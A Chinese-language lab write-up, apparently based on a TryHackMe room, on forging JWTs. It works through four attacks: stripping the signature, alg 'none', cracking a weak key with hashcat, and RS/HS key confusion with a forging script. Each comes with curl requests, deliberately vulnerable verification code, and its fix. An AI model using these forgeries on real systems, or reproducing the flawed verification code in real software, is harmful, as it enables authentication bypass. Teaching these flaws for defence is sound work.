jwt伪造
这里我参考THM里面的对jwt伪造的讲解,写下了这篇笔记
jwt格式介绍
在一个请求中被用于传输JWT的常见开头是
Authorization: Bearer
jwt的结构分为三部分,Header(标头)、Payload(有效载荷)和Signature(签名)

jwt解码
使用网站https://jwt.p2hp.com/,就可以实现对jwt的解码(cyberchef也可以)

jwt伪造
方法一:去掉签名(保留.)
有些情况下,服务器是不验证签名部分的
比如验证代码如下
payload = jwt.decode(token, options={
'verify_signature': False})
在THM的这个练习中,向服务器发送如下指令,获得一个jwt
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password2" }' http://10.10.215.60/api/v1.0/example2
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.UWddiXNn-PSpe7pypTWtSRZJi1wr2M5cpr_8uWISMS4"
}
jwt解码,发现用户名是user

我们只需要将用户名改成admin,把签名部分去掉,就能用伪造的jwt绕过验证


修复方法
在代码后面加上验证签名
payload = jwt.decode(token, self.secret, algorithms="HS256")
方法二:将Header的编码方式降级为None
有时候开发人员希望验证时能够接受多种签名算法,就可能写成如下的验证代码
header = jwt.get_unverified_header(token)
signature_algorithm = header['alg']
payload = jwt.decode(token, self.secret, algorithms=signature_algorithm)
它是通过读取Header部分的算法内容,进而进行验证
那我们将Header部分的算法改成None,就绕过了(这个要用cyberchef来改,因为pyjwt网站出于安全保护,不能修改算法为none)
先发送请求
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password3" }' http://10.10.215.60/api/v1.0/example3
得到jwt
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0._yybkWiZVAe1djUIE9CRa0wQslkRmLODBPNsjsY8FO8"
}
修改算法


成功绕过

blog/3629704/202605/3629704-20260521190236430-163080688.png)
修复方法(列出来支持的算法)
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")
方法三:hashcat爆破key
如果在加密时使用了弱密钥,可以用hashcat来爆破
先获取jwt
curl -H 'Content-Type: application/json' -X POST -d '{ "username" : "user", "password" : "password4" }' http://10.10.215.60/api/v1.0/example4
{
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6InVzZXIiLCJhZG1pbiI6MH0.yN1f3Rq8b26KEUYHCZbEwEk6LVzRYtbGzJMFIF8i5HY"
}
将得到的jwt保存到jwt.txt中,然后hashcat爆破
使用jwt.secrets.list字典
指令如下
hashcat -m 16500 -a 0 jwt.txt jwt.secrets.list

得到密钥为secret
接下来,就可以用这个密钥来伪造jwt了

成功绕过

修复方法
在开发时选择一个比较安全的密钥值
方法四:根据公钥来伪造
如果验证代码中不允许使用None,但是允许使用其它算法
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512", "RS256", "RS384", "RS512"])
而且服务器会将公钥与jwt一起返回给你,那你就可以将非对称算法(RS256)降级为对称算法(HS256),然后利用公钥来伪造jwt
因为当在JWT中混合使用对称和非对称算法时,某些库会错误地将非对称算法的公钥当作对称算法的密钥使用,从而导致令牌伪造的发生
脚本如下
import jwt
public_key = "将你得到的公钥放到这里"
payload = {
'username' : 'user',
'admin' : 0
}
access_token = jwt.encode(payload, public_key, algorithm="HS256")
print (access_token)
这里python要提前安装Pyjwt库
pip3 install pyjwt
并且要修改Pyjwt库的algorithm.py文件,删除is_ssh_key条件(可能在第258行)
运行完脚本以后得到token,上传上去即可

修复方法
需要用更多的逻辑来确保加密算法不会造成混淆
header = jwt.get_unverified_header(token)
algorithm = header['alg']
payload = ""
if "RS" in algorithm:
payload = jwt.decode(token, self.public_key, algorithms=["RS256", "RS384", "RS512"])
elif "HS" in algorithm:
payload = jwt.decode(token, self.secret, algorithms=["HS256", "HS384", "HS512"])
username = payload['username']
flag = self.db_lookup(username, "flag")

浙公网安备 33010602011771号